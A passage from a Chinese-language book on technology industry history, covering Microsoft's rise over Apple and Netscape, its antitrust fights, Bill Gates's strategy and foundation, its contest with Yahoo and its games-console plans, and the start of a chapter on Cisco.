机的软件贵得多）。而微软在很长时间里能打的牌就是DOS兼容性这一张，但是更能赢得用户的心。这样有了兼容机厂商和应用软件开发商，更重要是用户的支持，微软就等于在和苹果打人民战争，虽然它的在长达九年的时间里只有DOS这个大刀长矛，却靠广大的用户基础占住了脚。\n苹果失去地利的一个更深层的原因是它在某种程度上违反了信息领域的摩尔定理和安迪-\n比尔定理。整个计算机工业的规模上万亿美元，绝不是一家公司能吃得下的。诚然在这个领域生态链的不同环节需要垄断，但是各个环节之间需要互相扶持。尤其是在九十年代以后，整个计算机工业形成这样一种默契，由软件更新带动硬件更新。在更新软件时，软件公司先得到发展，但是，旧的硬件很快会显得性能不够。这时，用户不是抱怨软件做的不好，而是去更新硬件。这才使得诸多硬件公司得以快速发展速度，众人拾材火焰才能高。苹果既做硬件又做软件，很难平衡两者的速度。软件做得太快了硬件就跟不上，硬件做的太快了有没有合适的软件可用。在历史上，苹果有几款计算机一推出来时速度就已经落后了；还有几款比如早期PowerPC推出来时速度奇快但没有什么应用软件可用。另外，要用户每几年更新一次计算机价钱不能太贵，苹果机的价钱大部分时候是IBM PC兼容机的两倍以上，一般个人用户用不起。概括地讲，一个公司再强也拗不过客观规律。\n微软夺得了地利，抵消了苹果的天时的优势，接下来双方就看人和了。我们在前面介绍苹果时提到，八十年代中期在苹果内部，创始人乔布斯和CEO斯库利打的一塌糊涂，各个部门的经理各自为战搞出成千个大大小小的项目。反观微软，自从盖茨把鲍尔默请来，就将日常事务全权交给后者处理。虽然鲍尔默脾气暴躁，但是和盖茨合作的很好，使得盖茨有精力考虑战略问题。在八十年代末到两千年这段日子里，微软基本上是人才净流入，而苹果从上到下都不稳定。虽然大家都知道人才的重要性，但是至少从表面上看，盖茨比较礼贤下士，而苹果比较傲士。\n到1990年，微软经过Windows1.0和2.0的失败终于迎来了成功的Windows3.0和接下来持续使用了很长时间的Windows3.1（在中国版本号是Window3.2中文版），在短短几个月里，它的销量就超过了IBMOS/2多年来的全部销量。Windows3.1对苹果的打击是致命的。而苹果当时正处在历史上最混乱的时期，竟然组织不起一次有效的反击便一溃千里。微软终于靠十年的人民战争夺得了微机操作系统的统治地位。\n6.4 帝国的诞生\nWindows 3.0（以及其后生命更长的更新版本Windows 3.1）的出现具有划时代的意义。首先，它使得广大PC机用户在使用计算机时，再也不用记住并且敲入几十条很难记住的命令，而是简单地点击图标就能操作计算机，这对于计算机的普及起了至关重要的作用。其次，它突破了DOS在使用计算机资源上的限制，使得所有的软件开发商可以最大程度的利用硬件资源，开发出各种各样的软件，同时，大大刺激了硬件开发商提高硬件性能的动力。最后一点非常重要，它使得整个计算机工业的生态链从此定型，而这个生态链的上端是微软。苹果的麦金托什虽然早有了图形界面但是它的用户群太少，没有形成气候。至此，微软在软件业的垄断地位便形成了，一个新的帝国从此诞生。到1997年，微软的市值首度超过IBM，虽然当时微软一年的营业额还不到IBM一个季度的，但是华尔街很看好微软，认为它代表着未来。\n垄断操作系统只是盖茨营建IT帝国的第一步。微软在一统操作系统的天下后，已经没有后顾之忧了，便接连打出三记重拳，干净利落地消灭了莲花公司，WordPerfect公司和网络界新星网景（Netscape）公司，夺得了利润最大的几个应用软件市场。这三记重拳和它给苹果的打击一样，都是转市场优势为技术优势。微软靠它拥有操作系统的便利条件，率先推出基于Windows版的办公软件Excel和Words。而莲花公司和WordPerfect公司得等到微软操作系统做得差不多的时候才能起步开发新品，因此战争还没有开始就注定要失败。\n微软对网景一战则是网络浏览器领域的生死战，在这场无硝烟的战争中，盖茨作为微软的统帅，表现出了超人的胆识、魄力和指挥艺术。这场战争，对以后的互联网格局产生了深远的影响。这时一场经典之战，因为以后所有不可避免要和微软冲突的公司，都研究了网景公司的教训。现在，让我们来回顾一下这场战争的过程。\n九十年代，互联网开始兴起，急需一个通用的网络浏览器，1994年安德森和克拉克成立了网景公司并于同年推出了图形界面的网络浏览器\"网景浏览器\"软件。\"网景浏览器\"一推出就大受欢迎，不到一年就卖出几百万份。盖茨开始没有注意到它的重要性，把它当成了一种一般的应用软件。但是，当同时将网景浏览器展示给盖茨时，盖茨马上意识到它的重要性。微软之所以得以控制整个微机行业，在于它控制了人们使用计算机时无法绕过的接口-操作系统。现在，网景控制了人们通向互联网的接口，这意味着如果微软不能将它夺回来，将来在互联网上就会受制于人。盖茨意识到微软已经在这个领域落后了，他首先想购买网景，但是被网景拒绝。微软于是马上派人去和网景公司谈判合作事宜，而盖茨一直在遥控谈判。微软的条件苛刻，包括注资网景并且进入董事会。网景现在面对两难的问题，如果答应微软从此就受制于人，而且以前和微软合作的IBM和苹果都没有好结果，反之，不答应微软这可能像莲花公司和WordPerfect一样面临灭顶之灾。\n最后，网景选择了和微软一拼，因为它觉得至少目前它还有技术和市场上的优势。后来证明这种技术上的优势根本不可靠，这也是我将技术排在形成垄断的三个条件之外的原因。\n1995年，仅成立了一年的网景公司就挂牌上市了，在华尔街的追捧下，网景的股票当天从28美元涨到75美元，以后一直上涨。相反，华尔街对微软能否在互联网上占领一席之地表示怀疑。同年十一月，高盛公司将微软的股票从买入下调到持有，微软的股票应声而下。十二月七日，日本偷袭珍珠港的日子，盖茨在微软宣布向互联网进军。盖茨把微软当时的处境比成被日本打败的美国舰队。盖茨让很多工程师立即停掉手里的工作，不管做到那个阶段，然后全力投入微软浏览器IE的开发。盖茨的这种魄力我以后只在佩奇和布林身上又看到过一次，而在世界上找不到第三次。很快，微软的IE浏览器就问世了，但是功能上远不如网景的。盖茨动用了他的杀招-和Windows捆绑，免费提供给用户。很快，网景就被垄断了操作系统的微软用这种非技术，非正常竞争的手段打败。微软终于取得了用户到网络的控制权，从此，微软帝国形成，再也没有一个公司可以在客户软件上挑战微软了。盖茨剩下的唯一一件事就是去向美国政府司法部解释清楚他行为的合法性。\n对微软最初的反垄断诉讼很早就开始的。1991年联邦贸易委员会就发现微软开始通过它在操作系统的垄断地位进行非正当竞争，但是该委员会最后在对微软是否有滥用垄断的非正当竞争一事表决时二比二没得出结论。1993年美国司法部开始调查微软的垄断行为，第二年，微软同意不在Windows上捆绑销售微软其它的软件而和司法部达成和解，显然，微软在Windows中捆绑IE的做法违反了当时的协议，但是，盖茨否认微软是个垄断公司，并且狡辩说IE不是一个单独的软件，而是Windows的一个功能。\n美国司法部状告微软垄断行为的反垄断诉讼正式拉开序幕。1997年，美国参议员举行了听证会，盖茨和网景的CEO巴克斯代尔、太阳公司CEO麦克尼利、DELL的创始人戴尔等IT 领域的巨头出席作证。会上，当盖茨反复强调微软没有在软件行业形成垄断时，巴克斯代尔说，请在做的各位中没有用微软的产品的人举手。整个会场没人举手。巴克斯代尔再次强调，请按我说的做，结果还是没人举手。巴克斯代尔说，先生们，看多了吧，百分之百，这就是垄断，这足够说明问题了。\n很遗憾，网景公司虽然得到了大家普遍的同情，但是，它没有等到法院对微软的裁决结果就支撑不下去了。几乎所有人都认为，网景的失败是不可避免的。多年后，佩奇在总结网景教训时为网景找到了一个可以在微软垄断的压力下生存的办法，我们在介绍佩奇时再讲。\n不久之后，微软又用同样捆绑播放器的办法打败了做媒体浏览器RealPlayer的Real Network公司。而微软的反垄断官司也在一直打着。2000年，司法部对微软的反垄断官司终于有了初审结果，这就是我们在本章开始是介绍的那一幕。后来，微软向最高法院提出上述。\n最高法院拒绝听证，将案子转移到联邦上述法院。2000年底，共和党候选人布什以微弱的优势击败和硅谷关系良好的民主党候选人戈尔当选总统，和共和党关系密切的微软得以翻案。\n当然，以布什为首的共和党政府不会找微软的麻烦。虽然微软在欧盟、韩国和美国十几个州输掉了反垄断官司，但是这些外国和地方政府除了对微软罚款，无法拆分该公司。至今，没有任何公司可以撼动微软在自己领域的垄断地位。\n6.5 当世拿破仑\n拿破仑说过，一头狮子带领的一群羊，能打过由一只羊带领的一群狮子。事实上，拿破仑手下名将如云，像拉纳、贝尔纳多特、缪纳和圣吕西尔等人是一群狮子而不是绵羊，而他自己则是一只领头狮。微软人才济济，盖茨则是领头狮，他对内统领群雄，对外无往不利，对微软帝国的建立起了至关重要的作用。世界上对他的褒贬同样的多，那么他是一个什么样的人呢？如果用最简练的语言概括他就是两个字--平衡。\n盖茨首先做到了保守和冒险的平衡。盖茨和苹果争霸操作系统时，采用了最保守的做法，靠落后的DOS，靠十年的持久战取胜。如果盖茨冒冒失失地，大张旗鼓地开发宣传图形操作系统，那么，不但事倍功半，就连应用软件开发商和用户都会对微软失去信心。我们以后会看到，雅虎前CEO塞缪尔是如何大张旗鼓地吹嘘雅虎的新项目帕拿马，从而断送雅虎的。另一方面，盖茨在起家时，包括微软成立后的十几年里，一直惯用冒险的空手套白狼的手法抢的先机。1980年，盖茨到IBM去推广自己作的BASIC解释器，在那里了解到IBM需要一种微机的操作系统。盖茨给IBM推荐了DR公司，但是DR和IBM公司在价钱上谈不拢。IBM 又回过头来问盖茨是否可以做类似DR-DOS的东西，盖茨非常聪明地从西雅图计算机产品公司SCP买下了DOS，但是没有讲其实是IBM要，所以买价只有区区七万五千美元（也有说是五万元）。而盖茨再卖给IBM时，只收版权费，不卖源代码。这样盖茨就控制了微机的操作系统。盖茨以后干脆多次打擦边球，仿制甚至抄袭别人的东西，使用这种做法使得微软避免了很多漫无目的的研究和不必要的失败，因为别的公司已经把成功的经验和失败的教训告诉了他。显而易见，微软的Windows像苹果麦金托什操作系统，Mediaplayer和RealPlayer相似，Office和Lotus的1-2-3以及WordPerfect的字处理软件也十分相像。在硅谷，微软一直有抄袭者的骂名，但是这不妨碍微软继续。盖茨这种我行我的做法带来的素负面影响也是很大的。\n微软在工业界的声誉很差，很多公司还一次又一次地告微软的侵权行为，微软为此赔了不少钱。下表是近几年来微软在知识产权上超过一亿美元的赔偿：获赔偿公司 金额（美元）\n太阳19.5亿\nIBM 8.5亿\n美国在线 7.5亿\n苹果2.5亿\nDR Dos 5亿\nNovell5.3亿\nGateway 1.5亿\nEolas5.3亿\nInterTrust4.4亿\nATT 未透露\n除此以外，微软还有很多至今未了结的索赔超过一亿美元的大官司。据不完全统计，微软这些年来为侵权和垄断赔偿了一百亿美元左右。这个对别人来讲是天文数字的金额对微软来说不过是九牛一毛，它一年的纯利就远比这个数目多得多。也许是年龄大了的影响，盖茨在退居二线的前几年，做事已经平和了许多，微软空手空手套白狼的事情基本上不做了，对知识产权也重视多了。\n盖茨是个既心比天高却又脚踏实地的人。绝大多数人办公司是为了将公司卖掉，很少有人想把公司办成一个百年老店。但是盖茨不同，他志向远大，即使在微软还很小时，他就努力将它按百年老店来办。我们已经看到他通过控制操作系统来垄断微机行业的雄心和远见。\n但是，办起事来，他又非常脚踏实地。在管理上，微软比硅谷的公司严格的多，在人事关系基本上是严格的自顶向下的树状结构，和硅谷公司松散的结构完全不同。在经营上，微软很少花钱做没用的东西。虽然微软的很多产品并不成功，但是，即使这些产品在开发时，其商业前景也是经过严格论证的。微软从不会像苹果那样，搞出有用无用的一大堆项目。在这一点上，华尔街很喜欢微软，因为它能保证高利润。另外，盖茨和华尔街合作很默契，每次报业绩时，微软每股的利润总是略高于华尔街预期一两美分，然后让华尔街替它把股票抬上去。\n因此，它的股票从上市到2000年都涨到很好，几乎年年翻番。\n从生意经上讲，盖茨深知赚大钱和赚小钱的关系。盖茨和他的忘年交投资大师巴菲特做法相同，他们都是要从每一个人身上挣或多或少的一笔钱，而不是从富人身上狠宰一刀了事。\n要知道，世界上最挣钱的汽车公司是生产大众型汽车的丰田公司而不是生产跑车的法拉利和豪华车的劳斯莱斯，事实上后者因为亏损已经被卖给了宝马。巴菲特投资的公司，都是像保洁（P&G）和强生（Johnson & Johnson）这样生产每个人日常要用的东西。盖茨读过巴菲特的每一封给波克夏.哈萨韦股东的信，我无法判断盖茨的是和巴菲特不谋而合还是在学习后者。\n总之，盖茨做的每一件事，都是针对全世界所有人的，这样才能达到聚沙成塔的效果。\n不简单的事，盖茨能把公益和私利平衡的很好。盖茨不满足仅仅当一个IT工业的领袖，他的雄心是改变世界，而实现他改变世界的理想的工具则是盖茨基金会。有不少人以为盖茨是世界上最大的慈善家，如果单从每年捐赠的钱数讲，盖茨基金会在这几年确实经常排在世界第一。但是，盖茨这种做法难道不也是出于私心么？这里面的问题比较复杂，我们必须先了解一下美国的遗产法、税法和慈善基金会的相关法律。\n美国不鼓励从父辈继承巨额遗产而不劳而获的作法，因此美国的遗产税高得吓人。虽然遗产税率时高时低，但大致在45%左右，而华盛顿州，因为没有州一级的收入税，为了保证州政府税收，它额外征收高达20%州遗产税。也就是说，如果盖茨将财富直接传给孩子，交完遗产税后，几乎去掉了百分之六十。美国对投资收入也征收很高的资产增值税，税率从15%到35%不等。如果盖茨卖掉自己手里长期持有的微软股票卖掉，他将缴纳15%的资产增值税，如果他兑现短期的投资所得，则要交高达35%联邦税，而在克林顿时代更高达38%。我们不妨为盖茨算一笔账，如果他将自己的股票卖掉转给孩子，那么，一个亿只剩下1×（1-45%）×（1-20%）×（1-15%）=37%，即三千七百万。假如我们将这三千七百万拿去投资，按每年10%的投资回报算（这在美国是一个合理的数），每年投资收入按平均交30%的税率缴税，那么，到三十年后盖茨的孩子将获得2.8亿美元。\n如果想少缴税，而将财产尽可能多地留给孩子，唯一的办法是将财产捐给自己的慈善基金会。这样做可以免除三种税，第一次买股票的资产增值税，遗产税和每年的投资增值税。\n在向自己的基金会捐财产时，还能再抵消40%的工资等所得税。考虑到盖茨的工资奖金收入和捐到他自己的基金会的股票相比是九牛一毛，暂且不考虑他抵税的部分。美国法律同时规定所有的慈善基金会每年必须捐出5%的财产，这就是每年盖茨基金会会捐出一些钱的原因。\n现在我们再来看看盖茨把钱捐给了他自己的基金会后，每一亿财产能为孩子留多少钱。我们仍然假定，该基金会的投资回报是每年10%，扣除捐出的5%还剩下5%。现在该基金会自始至终就不用交任何税了，三十年下来，这一个亿的本金增值到4.3亿，同时还向社会捐出了3.3亿。盖茨不但多留给孩子1.5亿，还通过这3.3亿美元的捐赠博得的慈善家的美名，真可谓名利双收。那么，这里面一定有吃亏者，那就是山姆大叔，因为它没有从世界首富转到自己的基金会的这笔巨额财富中收到一个铜板的税。在美国税收问题上，通常有两种观点，一种认为很多公益的事业，比如公立学校，必须由政府出面才能办成办，因此应该把税收上来交给政府，民主党人大多持这种观点，比如总统候选人希拉里.克林顿。另一种观点认为，政府办事效率低下，浪费纳税人的钱，甚至回用于不必要的战争，因此应该少缴税，而每个公民各尽所能靠捐助来完成公益事业，共和党人很多持这种观点。盖茨在政治上倾向与共和党。\n根据法律，作为盖茨家族的后代或者遗嘱受益人，可以世世代代地控制盖茨基金会。\n根据法律，盖茨基金会每年不得不捐出5%。2006年为例，它的财产达334亿美元，它实际捐出15.6亿美元(其中巴菲特给他的16亿美元因为年初未到帐而无须捐出5%)。2005和2004年，它的财产分别为291亿和288亿，捐出去的钱分别为13.6亿和12.5亿，大约是5%（这里面因为年初年底资产额会上下浮动，实际捐赠略小于5%)。公平地讲，盖茨基金会为世界卫生教育事业还是做了不少贡献的，它从成立至今累计捐出了超过一百亿美元的现金和实物。但是另一方面，我们也应该看到，盖茨和那些真正的将毕生积蓄无条件捐给他人而不是自己的基金会的那些真正的慈善家是不同的。我很敬重投资大师巴菲特，他毕生生活简朴，老了以后，只给自己的孩子的基金会留下不到财产的5%，而把几乎全部的财富，一笔超过三百亿美元的巨款无条件地捐给了盖茨基金会。盖茨基金会只不过是盖茨通过它来实现自己改良世界的理想的机构，以及将财富传给子孙万代的避税港。盖茨很会兼顾慈善事业和他自己家族利益的关系。\n如果说乔布斯是锋芒毕露，聪明写在脸上；盖茨就是一个平衡木冠军，聪明藏在肚子里。\n无疑，后者比前者更可怕。\n6.6 条顿堡之战\n我时常把苹果公司比作希腊，微软比作罗马。众所周知，希腊是欧洲文明的摇篮，孕育着繁荣的文化、科学和艺术。苹果是微机的首创者，是微机工业文化的发源地。罗马从希腊学到了很多东西，然后打败了老师，它建设强大的帝国和美丽的城市，但它的创新并不多。\n微软则很像罗马，它从苹果学会了很多东西，并打败了苹果。罗马帝国的崛起和微软帝国的形成正好差了两千年。而微软和罗马帝国还有一个惊人相似之处是，他们的扩张止于它们的缔造者。\n让我们随着时空隧道，回到两千年前。公元9年，罗马帝国的缔造者奥古斯都大帝已经统治罗马四十多年了。罗马帝国疆土辽阔，国内繁荣富庶、歌舞升平,外纳万邦来朝。罗马帝国已经占尽的地中海之滨的领土，再要扩张就要向北夺取日耳曼人的地盘了。而当时的日耳曼人不过是一个落后的蛮族。这一年，日耳曼人开始发难，罗马帝国派大军出征，但是在条顿堡（Teutonburg）森林被日耳曼人全歼，至此，罗马帝国的扩张结束。罗马帝国以后还不断地打胜仗，但是其疆土的没有超过奥古斯都时代。条顿堡森林之战后，虽然罗马举国上下要求复仇的呼声很高，但是，年迈的奥古斯都已经没有当年打败安东尼（埃及艳后的情人）的雄心了，居然忍下了这口气。更要命的是，数年后，奥古斯都在罗马征兵，原先勇武的罗马人竟无人应征。\n现在让我们再回到现实。整个九十年代可以说是微软的十年，在这十年里，整个硅谷大大小小数不清的公司被微软打到。盖茨更是驰骋商场，鲜有敌手。但是，为了保证公司持续发展，在垄断了整个微机软件行业后，微软也必须找到新的成长点，否则华尔街不会在追捧它的股票。很明显，全球下一个金矿就是互联网。当微软打败网景时，杨致远和费罗（David Filo）已经把雅虎建成全球最热门的网站。到九十年代末，盖茨腾出手来，成立了MSN，大举进军互联网市场。\n和强大的微软比，雅虎很像日耳曼这个小小的蛮族。但恰恰是年轻的雅虎成功地阻击了微软，使得后者远离互联网领域。雅虎的兴衰我们以后还会专门提到，现在，让我们看看雅虎是成功地阻击微软的扩张。\n雅虎在微软和网景争斗时，抢到了门户网站的先机，并率先为大家提供免费电子邮件Email的服务。微软打败网景和Real Network等公司的绝招是免费提供和对手竞争的产品。但是这一招对雅虎不灵，因为雅虎的服务本身就是免费的。网景和RealNetwork这样制作微机客户端软件的公司不收软件的钱是活不下去的，而雅虎找到了一个新的商务模式，即让内容的提供商出钱（早期要把新闻放到雅虎上是要向雅虎交钱的）并且为大的公司做品牌广告。\n在广告业中，讲究门当户对，即名牌的东西一定要在最好的媒体上做广告。雅虎作为最早的、影响力最大的门户网站，无疑是大公司最愿意投放广告的地方。有了广告收入，雅虎不断地推出许许多多免费服务，除电子邮件外，还有找工作的，看股票的，天气预报，买飞机票的等等。在雅虎的带领下，依靠风险投资公司的支持和华尔街的追捧，所有的互联网公司都采用雅虎的免费模式。微软思路还停留在微机时代，开始还试图从每个家庭收一笔联网费。结果使得MSN的用户数目远远落在了雅虎的后面。为了和雅虎竞争，MSN卖下了Hotmail试图直接买一些用户，但是，微软犯了个错误，它花了很大精力将Hotmail的服务器又原来Unix 的改成不适合管理千百万用户的Windows NT，后来又不得不改回Unix，这样白白浪费了时间。\n总的来讲，微软的脑筋还停留在一份份卖软件的微机时代，在开拓网络服务方面亦步亦趋。\n这再次印证了微软的基因决定了它不容易适应互联网时代。\n从人员来讲，微软的很多员工，尤其是老员工享受之日久，动力大不如从前，正好比奥古斯都大帝后期罗马的公民们。在Redmond微软总部，下午六点以后停车场就空空荡荡。而在雅虎，几乎每个人都工作的通宵达旦。华尔街在雅虎和微软之争中帮了雅虎很大的忙。由于雅虎各种服务是免费的，收入并不高，利润更少的可怜。但是，华尔街认定雅虎代表未来，将雅虎的股票追捧的很高，一度市盈率到达1000/1，也就是说它的股价是每股盈利的一千倍。\n而当时，公司增发期权不计入成本。因此，雅虎不断地增发期权给员工，而只需付给员工很少的现金工资。员工手中的股票期权，在华尔街的炒作下，以火箭速度往上涨。在互联网泡沫破裂前进入雅虎的员工，在2000年时，绝大多数在纸面上都是百万富翁。因此，雅虎人的士气高的不得了。可以说没有华尔街的帮助，小小的雅虎是抵挡不住微软MSN的攻击的。\n等到互联网泡沫崩溃，雅虎的营销和股票一落千丈，自然无力阻击微软了，但它已完成了自己的历史使命。而微软因为美国经济不景气也暂时没有扩张。现在回过头看，微软那时恰恰错过了进军互联网最好的时机。那时没有一个公司在财力上可以和微软相比。微软坐拥数百亿美元的现金，而且每个季度还产生数十亿美元的利润，完全有能力打造一个网络帝国。\n另一方面，很多公司开始整部门整部门地裁员，本来正是收购人才和技术的好机会，但是微软按兵不动。其中原因很多，主要的有四条。首先，微软已经不是当年那个礼贤下士的公司了，变得对人才和技术都很傲慢，微软人才开始流失。第二，它毕竟因为反垄断官司在身，在公司收购上多少有些限制，以至于在收购搜索公司Inktomi和在线广告公司Overture上被雅虎抢了先。第三，长期以来，鲍尔默和华尔街合作很好，为了迎合华尔街，微软总是把财报搞得漂漂亮亮的，因此，它不愿意大量长线投资新技术项目，这会使得利润和现金流入下降。\n这一点，巴菲特做的比很多公司老板要高明的多，有远见的多。他从不管华尔街说什么，只要是看准了的事就只争朝夕的做起来。虽然有时他的公司波克夏哈萨韦业绩在短时间里会受很大影响，但是长远地看，波克夏哈萨韦的业绩是无公司可比的。第四，互联网泡沫后，谁也吃不准互联网是否能挣钱，微软也不例外。根据接近盖茨的人讲，盖茨甚至到了Google上市前，还认为开源的Linux是微软的主要对手，而不觉得Google能成多大气候。他的下属问他对Google的看法，他觉得一两个部门就能搞定Google。\n我非常喜欢黑格尔地一句话：凡是现实的都是合理的，凡是合理的都是现实的。(All that is real is rational; and all that is rational is real.)虽然这句话常常被误解成为当今不合理的现实来开脱，其实，如果我们动态地看待现实性和合理性，可以把这句话理解成，现在存在的现象，当初产生它的时候必然有产生它的原因和理由。如果这个理由将来不存在了，终究有一天它也会消亡。微软称雄于微机时代，自有它的合理性。但是，到了网络时代，显示改变了，微软再次称雄的合理性也就没有了。\n6.7 客厅争夺战\n如果说微软至今在互联网上举步迟缓，它在另一个新的领域来时却非常凶猛，那就是游戏机领域。游戏机原本是比个人电脑简单的多，而且功能有限的计算机。并且和微机工业没有什么交集。九十年代以前，它基本是日本厂家任天堂（低端）和索尼（高端）的天下。本来，微软虽然做一些微机上的游戏，却不涉足游戏机市场。但是，从1997年起，微软大举进军小小的游戏机市场。这回微软无法免费提供游戏机，但是它使用了类似的倾销策略，逼得对手打价格战而无利可图。由于任天堂和索尼在游戏数量上有长期积累，微软没有能像它击败软件对手那样只用一回合就胜出，但是微软的倾销策略还是见到了收效，它在游戏上的营业额从2002年开始的二十亿美元，上升到2007年财政年度的六十亿美元。（微软2007年财政年度到六月结束，而不是十二月，所以它的年度财报已经提交证监会了。）但是至今为止，微软在游戏机方面一直在赔钱，2007年，微软在这方面赔了十八亿美元。这种商业做派很不符合微软务实的特点。另外，游戏机不同于微机，并不是所有家庭，也不是各个年龄档的人都玩游戏。即使是玩游戏的人，也不可能天天玩，所以微软推广游戏机的目的一定是醉翁之意不在酒。\n但是随着游戏机发展的趋向和微软其它研究项目，尤其是VoIP的逐步展开，微软原先的战略目的初见端倪。微软打造的游戏机可不是过去简单玩游戏的小玩意，而是一个功能强大的计算机，它是一个工具，微软要把它变成家庭娱乐中心，从而控制每一个家庭的娱乐活动。\n统计表明，老百姓在休闲娱乐上花时间最多的还是在自家的客厅看电视，而且从几岁的小孩到七八十岁的老人，都会经常看电视。根据巴菲特的投资原则，要想赚大钱，就要在这些方面开拓市场，事实上巴菲特本人就曾经控制过电视网。\n以往看电视的模式是电视台放什么，观众看什么，虽然观众可以选择频道，但是不能把明天放的电影挪到今天看。如果错过了一条新闻，也很难再补看一遍。电影更是如此，电影几乎从不重播旧的电影。而新的电影如果买不到票，只能等几天再说了。现在，美国已经出现了一些按每次收看付费的电视服务，但是仍然是电视台播什么观众看什么，因为无法做到对不同用户（按IP区分）传送不同节目，另外，在电视台，无法和用户进行交互（比如观众要暂停去喝杯水）。在电影院更不能要求放电影的暂停一会儿。\n但是，随着家庭网络带宽的提高，我们在几年后，可以坐在家中，在任何时候从全世界几万部电影中，几百万电视节目中点播自己想看的电影和电视。那时，我们可以想看什么看什么，想什么时候看就什么看，想停就停，想快进就快进，今天看不完明天接着看，十年前的新闻也何以找出来回顾。虽然要做到这一点，还有些技术问题要解决，但是条件基本上成熟了。\n首先，我们每家的带宽要提高一百倍，这件事用不了十年一定能做到，第二，在每个居民区，必须有一台像缓冲存储器似的设备存储收看频率最高的电影电视，这个设备还必须能做到对看相同节目的用户只送出一份以节省带宽，这是思科的特长。在每个人家，必须有一个娱乐中心，它既能提供观众和电影电视服务器的接口和控制功能，又能输出高清晰度、环绕立体声音响的视频和音频信号。而后者，便是微软要争夺的目标。垄断了这个娱乐中心，将比垄断操作系统带来多得多的利润，因为这种被称为\"根据需求来观看\"模式，是按照每个观众每次观看收费的。现在，微软的软件不过是每个人每几年买一份，将来如果微软真的能控制每个家庭的客厅，它将每天从每个观众身上挣一笔钱。现在在美国，每点播一个电影和节目收费从三四美元到十美元不等，即使微软从中分得亿美元，我们假设每个家庭一周看两个节目，微软一年从一个家庭身上就能挣得一百美元，相当于每年卖给一个家庭两份操作系统。\n（注：微软通过在微机上预装操作系统的收费比零售价低得多，大致在五十美元这个量级。）我们前面提到，盖茨是一个心比天高的人，他的野心常常超出一般人的想象。\n我们不妨看一看微软在VoIP（在互联网上传播语音）上做的工作。如果到Google搜索一下\"Microsoft VoIP\"，可以得到一亿三千万条结果。我们可以看到，微软已经在做VoIP的电话和VoIP的服务器，以及基于互联网和个人IP的娱乐等等各种各样的东西，甚至它整个Live 部门的工作都可以直接为基于IP的所有应用而服务。现在我们终于明白了微软争夺小小游戏机市场的动机。如果微软的想法得以实现，它将改变整个电影电视和其它娱乐业的生态链。\n而微软将再次做到这个生态链的龙头位置。\n现在，在家庭娱乐中心的竞争中微软遇到了两个强劲的对手，苹果和索尼。苹果从音乐到视频，它在用户数量上占了先机，因为它上亿的iPod使用者都可能使用苹果的Apple TV这个娱乐中心，在媒体供应商方面，苹果和全世界主要的传媒公司已经签下分成的协议。索尼一方面是传媒公司，另一方面有最好的游戏机PS/3，它不但有十倍于一般微机的计算和图形功能，还有最新的蓝光DVD（Blu-Ray）、1080p宽银幕电影效果的视频输出和5.1环绕立体声音频输出的游戏机已经具备了一个娱乐中心的所有必要条件，更重要的是索尼联合了几乎全部的电器厂家助阵，走了以前开放式的道路。微软这一次在技术上明显落后于索尼，而且偏偏选择了走以前苹果封闭式的路，至今它只有东芝一个同盟军。此外，拥有YouTube的Google也可能成为一匹黑马。因此，鹿死谁手现在还无法料定。\n结束语\n微软只用的短短的十几年就建成了一个IT帝国，而以前ATT和IBM则用了半个世纪才办成同样的事。不仅如此，微软促成了整个微机工业的生态链，并且作为龙头引导者计算机工业快速发展。同时，它又通过垄断扼杀了无数富有创新的公司。如果不是反垄断法的约束和雅虎以及后来的Google在互联网领域对微软成功的阻击，我们很难想象有任何力量能阻止它的扩张。它的缔造者盖茨是我们迄今看到的在IT领域最有野心、有最有执行力的统帅。\n进入新的世纪以来，微软的行动明显放慢，它的扩张一再受阻。但是，个人微机的这次浪潮还没有过去，处在其浪潮之巅的微软即使不做任何事，仍然是世界上最赚钱的公司。它始终是所有公司最可怕的竞争对手。它能否成功地第二次创业，很大程度上取决于客厅信息化是否能形成下一次技术革命的浪潮，而它又是否能在客厅争夺战中最终胜出。\n第7章 互联网的金门大桥：思科\n1994 年初，我的同事清华的李星教授告诉我当时教育部副部长韦钰提出要教育科研机构建立互联网，这便是中国互联网的开始。很快中国派了一个代表团包括吴建平、李星等中国最早研究互联网的学者到美国考察互联网、并且考察生产互联网设备，主要是路由器（Router）的公司。当时很快就定下了美国思科（Cisco）公司的设备，并且很快到了货。很短的时间，中国自己最早的互联网就在大学里诞生了（虽然高能所更早连到了互联网上，但是那实际上是美国斯坦福大学线性加速器实验室的一个子网）当时，几乎没有人知道这个思科公司，即使今天由于思科公司的产品不直接面向用户，知道它的人也远不如知道麦当劳的多，尽管思科有麦当劳的三倍大。但是，如果告诉大家，没有思科和同类公司生产的路由器就没有今天的互联网，那么大家就知道思科在我们生活中的作用了。思科是一个标准的网络时代弄潮儿，随着互联网的出现而兴，随着其泡沫的破碎而一度衰落。在 2000 年，思科曾经在一瞬间超过微软，成为世界上股值最高的公司（五千四百亿美元），那时思科股票一天的交易额超过当时整个中国股市。911 以后，它的股票一度缩水 85%。那年，思科的 CEO 钱伯斯宣布了思科历史上唯一一次大裁员，同时他将自己的工资降到每年一美元，成为世界上工资最低的 CEO。这种做法一度被传为佳话，并纷纷为那些愿意和公司同甘共苦的老板们效仿。几年后的今天，思科已走出低谷，并且成为世界最大的设备制造公司。\n7.1 好风凭借力\n和惠普、太阳、雅虎、谷歌等公司一样，思科是一个标准的斯坦福公司。斯坦福各个系都有自己联网的计算中心，网络之间通过一种叫路由器的设备连接。八十年代初，斯坦福两个不同系的计算中心主管里奥纳多·波萨克（Leonard Bosack）和桑迪·勒纳（Sandy Lerner）好上了。上面是事实，下面则是广泛流传的谣言。两个人要在计算机上互相写情书，由于各自管理的网络不同，设备又是乱七八糟，什么厂家的、什么协议的都有，互不兼容，情书传递起来很不方便，于是两人干脆发明了一种能支持各种网络服务器、各种网络协议的路由器。于是思科赖以生存的“多协议路由器”便诞生了。\n听到这个谣言的人绝大多数都信以为真，因为它不仅夹杂着很多事实，而且合情合理。虽然，网络早有了，美国很多大学、公司和政府部门从七十年代起就开始使用局域网了，连接网络的路由器也早有了。但是，由于不同网络设备厂家采用的网络协议，每个公司都要推广自己采用的协议，没有公司愿意为其它公司做路由器。在互联网还没有普及时，这个问题不大，因为一个单位内部的网络基本上会采用相同的协议。在 1984 年，互联网还没有兴起，因此各个网络公司如 IBM 并没有注意到这种多协议路由器的重要性。\n波萨克和勒纳后来结为了夫妇。夫妇两人非常聪明而勤奋，但是更非常幸运。在他们创办了思科公司的一年前，即 1983 年，美国自然科学基金会（NSF）刚刚投资建设了连接各个大学和美国几个超级计算机中心的广义网 NSFNet，即今天的互联网雏形。当时建设 NSFNet 